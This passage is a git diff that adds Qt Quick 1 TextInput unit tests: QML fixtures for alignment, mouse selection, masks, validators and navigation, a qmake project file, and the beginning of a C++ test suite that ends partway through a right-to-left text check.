diff --git a/tests/auto/declarative/qdeclarativetextinput/data/geometrySignals.qml b/tests/auto/declarative/qdeclarativetextinput/data/geometrySignals.qml
new file mode 100644
index 00000000..353d0e2f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/geometrySignals.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 500;
+ property int bindingWidth: text.width
+ property int bindingHeight: text.height
+
+ TextEdit {
+ id: text
+ anchors.fill: parent
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/halign_center.png b/tests/auto/declarative/qdeclarativetextinput/data/halign_center.png
new file mode 100644
index 00000000..53e09a8e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/halign_center.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/halign_left.png b/tests/auto/declarative/qdeclarativetextinput/data/halign_left.png
new file mode 100644
index 00000000..247acbc9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/halign_left.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/halign_right.png b/tests/auto/declarative/qdeclarativetextinput/data/halign_right.png
new file mode 100644
index 00000000..691bc75c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/halign_right.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment.qml
new file mode 100644
index 00000000..3114c482
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 70; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "Test"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 20
+ color: "green"
+
+ TextInput {
+ id: text
+ anchors.fill: parent
+ text: top.text
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 00000000..7f27bbe5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 180
+ height: 20
+ color: "green"
+
+ TextInput {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ focus: true
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/inputmethods.qml b/tests/auto/declarative/qdeclarativetextinput/data/inputmethods.qml
new file mode 100644
index 00000000..50638923
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/inputmethods.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ text: "Hello world!"
+ inputMethodHints: Qt.ImhNoPredictiveText
+ Keys.onLeftPressed: {}
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/masks.qml b/tests/auto/declarative/qdeclarativetextinput/data/masks.qml
new file mode 100644
index 00000000..c75764af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/masks.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput{
+ focus: true
+ objectName: "myInput"
+ inputMask: "HHHHhhhh; "
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/maxLength.qml b/tests/auto/declarative/qdeclarativetextinput/data/maxLength.qml
new file mode 100644
index 00000000..95902bb6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/maxLength.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput{
+ focus: true
+ objectName: "myInput"
+ maximumLength: 10
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_default.qml
new file mode 100644
index 00000000..eea83ed0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false.qml
new file mode 100644
index 00000000..eea83ed0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_readonly.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_readonly.qml
new file mode 100644
index 00000000..36a95634
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_readonly.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+ readOnly: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_words.qml
new file mode 100644
index 00000000..eea83ed0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_words.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
new file mode 100644
index 00000000..8115ba05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_readonly.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_readonly.qml
new file mode 100644
index 00000000..678a89aa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_readonly.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ readOnly: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_words.qml
new file mode 100644
index 00000000..8115ba05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_words.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
new file mode 100644
index 00000000..0ffc6ff2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextInput.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
new file mode 100644
index 00000000..87c174be
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
new file mode 100644
index 00000000..df69a7d0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextInput.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/navigation.qml b/tests/auto/declarative/qdeclarativetextinput/data/navigation.qml
new file mode 100644
index 00000000..af1b1409
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/navigation.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ property variant myInput: input
+
+ width: 800; height: 600; color: "blue"
+
+ Item {
+ id: firstItem;
+ KeyNavigation.right: input
+ }
+
+ TextInput { id: input; focus: true
+ text: "Needs some text"
+ KeyNavigation.left: firstItem
+ KeyNavigation.right: lastItem
+ KeyNavigation.up: firstItem
+ KeyNavigation.down: lastItem
+ }
+ Item {
+ id: lastItem
+ KeyNavigation.left: input
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/positionAt.qml b/tests/auto/declarative/qdeclarativetextinput/data/positionAt.qml
new file mode 100644
index 00000000..cbbf33d9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/positionAt.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextInput{
+ focus: true
+ objectName: "myInput"
+ width: 50
+ text: "This is a long piece of text"
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/readOnly.qml b/tests/auto/declarative/qdeclarativetextinput/data/readOnly.qml
new file mode 100644
index 00000000..f173649e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/readOnly.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ property variant myInput: input
+
+ width: 800; height: 600; color: "blue"
+
+ TextInput { id: input; focus: true
+ readOnly: true
+ text: "I am the very model of a modern major general.\n"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/validators.qml b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml
new file mode 100644
index 00000000..e26bcb30
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Item {
+ property variant intInput: intInput
+ property variant dblInput: dblInput
+ property variant strInput: strInput
+
+ width: 800; height: 600;
+
+ Column{
+ TextInput { id: intInput;
+ validator: IntValidator{top: 11; bottom: 2}
+ }
+ TextInput { id: dblInput;
+ validator: DoubleValidator{top: 12.12; bottom: 2.93; decimals: 2; notation: DoubleValidator.StandardNotation}
+ }
+ TextInput { id: strInput;
+ validator: RegExpValidator { regExp: /[a-zA-z]{2,4}/ }
+ }
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/qdeclarativetextinput.pro b/tests/auto/declarative/qdeclarativetextinput/qdeclarativetextinput.pro
new file mode 100644
index 00000000..0fee1c93
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/qdeclarativetextinput.pro
@@ -0,0 +1,14 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativetextinput.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
new file mode 100644
index 00000000..df598bea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
@@ -0,0 +1,2935 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include "../../../shared/util.h"
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QFile>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativetextinput_p.h>
+#include <private/qdeclarativetextinput_p_p.h>
+#include <QDebug>
+#include <QDir>
+#include <QStyle>
+#include <QInputContext>
+#include <private/qapplication_p.h>
+
+#include "qplatformdefs.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+Q_DECLARE_METATYPE(QDeclarativeTextInput::SelectionMode)
+
+QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
+{
+ // XXX This will be replaced by some clever persistent platform image store.
+ QString persistent_dir = SRCDIR "/data";
+ QString arch = "unknown-architecture"; // QTest needs to help with this.
+
+ QString expectfile = persistent_dir + QDir::separator() + filebasename + "-" + arch + ".png";
+
+ if (!QFile::exists(expectfile)) {
+ actual.save(expectfile);
+ qWarning() << "created" << expectfile;
+ }
+
+ return expectfile;
+}
+
+class tst_qdeclarativetextinput : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativetextinput();
+
+private slots:
+
+ void text();
+ void width();
+ void font();
+ void color();
+ void selection();
+ void isRightToLeft_data();
+ void isRightToLeft();
+ void moveCursorSelection_data();
+ void moveCursorSelection();
+ void moveCursorSelectionSequence_data();
+ void moveCursorSelectionSequence();
+ void mouseSelection_data();
+ void mouseSelection();
+ void deferEnableSelectByMouse_data();
+ void deferEnableSelectByMouse();
+ void deferDisableSelectByMouse_data();
+ void deferDisableSelectByMouse();
+ void dragMouseSelection();
+ void mouseSelectionMode_data();
+ void mouseSelectionMode();
+
+ void horizontalAlignment_data();
+ void horizontalAlignment();
+ void horizontalAlignment_RightToLeft();
+
+ void positionAt();
+
+ void maxLength();
+ void masks();
+ void validators();
+ void inputMethods();
+
+ void passwordCharacter();
+ void cursorDelegate();
+ void cursorVisible();
+ void cursorRectangle();
+ void navigation();
+ void navigation_RTL();
+ void copyAndPaste();
+ void canPasteEmpty();
+ void canPaste();
+ void readOnly();
+
+ void openInputPanelOnClick();
+ void openInputPanelOnFocus();
+ void setHAlignClearCache();
+ void focusOutClearSelection();
+
+ void echoMode();
+#ifdef QT_GUI_PASSWORD_ECHO_DELAY
+ void passwordEchoDelay();
+#endif
+ void geometrySignals();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+ void preeditAutoScroll();
+ void preeditMicroFocus();
+ void inputContextMouseHandler();
+ void inputMethodComposing();
+ void cursorRectangleSize();
+ void deselect();
+
+private:
+ void simulateKey(QDeclarativeView *, int key);
+ QDeclarativeView *createView(const QString &filename);
+
+ QDeclarativeEngine engine;
+ QStringList standard;
+ QStringList colorStrings;
+};
+
+tst_qdeclarativetextinput::tst_qdeclarativetextinput()
+{
+ standard << "the quick brown fox jumped over the lazy dog"
+ << "It's supercalifragisiticexpialidocious!"
+ << "Hello, world!"
+ << "!dlrow ,olleH"
+ << " spacey text ";
+
+ colorStrings << "aliceblue"
+ << "antiquewhite"
+ << "aqua"
+ << "darkkhaki"
+ << "darkolivegreen"
+ << "dimgray"
+ << "palevioletred"
+ << "lightsteelblue"
+ << "#000000"
+ << "#AAAAAA"
+ << "#FFFFFF"
+ << "#2AC05F";
+}
+
+void tst_qdeclarativetextinput::text()
+{
+ {
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData("import QtQuick 1.0\nTextInput { text: \"\" }", QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->text(), QString(""));
+
+ delete textinputObject;
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->text(), standard.at(i));
+
+ delete textinputObject;
+ }
+
+}
+
+void tst_qdeclarativetextinput::width()
+{
+ // uses Font metrics to find the width for standard
+ {
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData("import QtQuick 1.0\nTextInput { text: \"\" }", QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->width(), 0.0);
+
+ delete textinputObject;
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QFont f;
+ QFontMetricsF fm(f);
+ qreal metricWidth = fm.width(standard.at(i));
+
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ int delta = abs(int(int(textinputObject->width()) - metricWidth));
+ QVERIFY(delta <= 3.0); // As best as we can hope for cross-platform.
+
+ delete textinputObject;
+ }
+}
+
+void tst_qdeclarativetextinput::font()
+{
+ //test size, then bold, then italic, then family
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { font.pointSize: 40; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->font().pointSize(), 40);
+ QCOMPARE(textinputObject->font().bold(), false);
+ QCOMPARE(textinputObject->font().italic(), false);
+
+ delete textinputObject;
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { font.bold: true; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->font().bold(), true);
+ QCOMPARE(textinputObject->font().italic(), false);
+
+ delete textinputObject;
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { font.italic: true; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->font().italic(), true);
+ QCOMPARE(textinputObject->font().bold(), false);
+
+ delete textinputObject;
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { font.family: \"Helvetica\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->font().family(), QString("Helvetica"));
+ QCOMPARE(textinputObject->font().bold(), false);
+ QCOMPARE(textinputObject->font().italic(), false);
+
+ delete textinputObject;
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { font.family: \"\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->font().family(), QString(""));
+
+ delete textinputObject;
+ }
+}
+
+void tst_qdeclarativetextinput::color()
+{
+ //test color
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->color(), QColor(colorStrings.at(i)));
+
+ delete textinputObject;
+ }
+
+ //test selection color
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { selectionColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->selectionColor(), QColor(colorStrings.at(i)));
+
+ delete textinputObject;
+ }
+
+ //test selected text color
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextInput { selectedTextColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->selectedTextColor(), QColor(colorStrings.at(i)));
+
+ delete textinputObject;
+ }
+
+ {
+ QString colorStr = "#AA001234";
+ QColor testColor("#001234");
+ testColor.setAlpha(170);
+
+ QString componentStr = "import QtQuick 1.0\nTextInput { color: \"" + colorStr + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+
+ QVERIFY(textinputObject != 0);
+ QCOMPARE(textinputObject->color(), testColor);
+
+ delete textinputObject;
+ }
+}
+
+void tst_qdeclarativetextinput::selection()
+{
+ QString testStr = standard[0];
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+
+
+ //Test selection follows cursor
+ for(int i=0; i<= testStr.size(); i++) {
+ textinputObject->setCursorPosition(i);
+ QCOMPARE(textinputObject->cursorPosition(), i);
+ QCOMPARE(textinputObject->selectionStart(), i);
+ QCOMPARE(textinputObject->selectionEnd(), i);
+ QVERIFY(textinputObject->selectedText().isNull());
+ }
+ //Test cursor follows selection
+ for(int i=0; i<= testStr.size(); i++) {
+ textinputObject->select(i,i);
+ QCOMPARE(textinputObject->cursorPosition(), i);
+ QCOMPARE(textinputObject->selectionStart(), i);
+ QCOMPARE(textinputObject->selectionEnd(), i);
+ }
+
+ textinputObject->setCursorPosition(0);
+ QVERIFY(textinputObject->cursorPosition() == 0);
+ QVERIFY(textinputObject->selectionStart() == 0);
+ QVERIFY(textinputObject->selectionEnd() == 0);
+ QVERIFY(textinputObject->selectedText().isNull());
+
+ // Verify invalid positions are ignored.
+ textinputObject->setCursorPosition(-1);
+ QVERIFY(textinputObject->cursorPosition() == 0);
+ QVERIFY(textinputObject->selectionStart() == 0);
+ QVERIFY(textinputObject->selectionEnd() == 0);
+ QVERIFY(textinputObject->selectedText().isNull());
+
+ textinputObject->setCursorPosition(textinputObject->text().count()+1);
+ QVERIFY(textinputObject->cursorPosition() == 0);
+ QVERIFY(textinputObject->selectionStart() == 0);
+ QVERIFY(textinputObject->selectionEnd() == 0);
+ QVERIFY(textinputObject->selectedText().isNull());
+
+ //Test selection
+ for(int i=0; i<= testStr.size(); i++) {
+ textinputObject->select(0,i);
+ QCOMPARE(testStr.mid(0,i), textinputObject->selectedText());
+ QCOMPARE(textinputObject->cursorPosition(), i);
+ }
+ for(int i=0; i<= testStr.size(); i++) {
+ textinputObject->select(i,testStr.size());
+ QCOMPARE(testStr.mid(i,testStr.size()-i), textinputObject->selectedText());
+ QCOMPARE(textinputObject->cursorPosition(), testStr.size());
+ }
+
+ textinputObject->setCursorPosition(0);
+ QVERIFY(textinputObject->cursorPosition() == 0);
+ QVERIFY(textinputObject->selectionStart() == 0);
+ QVERIFY(textinputObject->selectionEnd() == 0);
+ QVERIFY(textinputObject->selectedText().isNull());
+
+ //Test Error Ignoring behaviour
+ textinputObject->setCursorPosition(0);
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(-10,0);
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(100,110);
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(0,-10);
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(0,100);
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(0,10);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->select(-10,10);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->select(100,101);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->select(0,-10);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->select(0,100);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+
+ textinputObject->deselect();
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(0,10);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->deselect();
+ QVERIFY(textinputObject->selectedText().isNull());
+
+ delete textinputObject;
+}
+
+void tst_qdeclarativetextinput::isRightToLeft_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<bool>("emptyString");
+ QTest::addColumn<bool>("firstCharacter");
+ QTest::addColumn<bool>("lastCharacter");
+ QTest::addColumn<bool>("middleCharacter");
+ QTest::addColumn<bool>("startString");
+ QTest::addColumn<bool>("midString");
+ QTest::addColumn<bool>("endString");
+
+ const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647};
+ QTest::newRow("Empty") << "" << false << false << false << false << false << false << false;
+ QTest::newRow("Neutral") << "23244242" << false << false << false << false << false << false << false;
+ QTest::newRow("LTR") << "Hello world" << false << false << false << false << false << false << false;
+ QTest::newRow("RTL") << QString::fromUtf16(arabic_str, 11) << false << true << true << true << true << true << true;
+ QTest::newRow("Bidi RTL + LTR + RTL") << QString::fromUtf16(arabic_str, 11) + QString("Hello world") + QString::fromUtf16(arabic_str, 11) << false << true << true << false << true << true << true;
+ QTest::newRow("Bidi LTR + RTL + LTR") << QString("Hello world") + QString::fromUtf16(arabic_str, 11) + QString("Hello world") << false << false << false << true << false << false << false;
+}
+
+void tst_qdeclarativetextinput::isRightToLeft()
+{
+ QFETCH(QString, text);
+ QFETCH(bool, emptyString);
+ QFETCH(bool, firstCharacter);
+ QFETCH(bool, lastCharacter);
+ QFETCH(bool, middleCharacter);
+ QFETCH(bool, startString);
+ QFETCH(bool, midString);
+ QFETCH(bool, endString);
+
+ QDeclarativeTextInput textInput;
+ textInput.setText(text);
+
+ // first test that the right string is delivered to the QString::isRightToLeft()
+ QCOMPARE(textInput.isRightToLeft(0,0), text.mid(0,0).isRightToLeft());
+ QCOMPARE(textInput.isRightToLeft(0,1), text.mid(0,1).isRightToLeft());
+ QCOMPARE(textInput.isRightToLeft(text.count()-2, text.count()-1), text.mid(text.count()-2, text.count()-1).isRightToLeft());
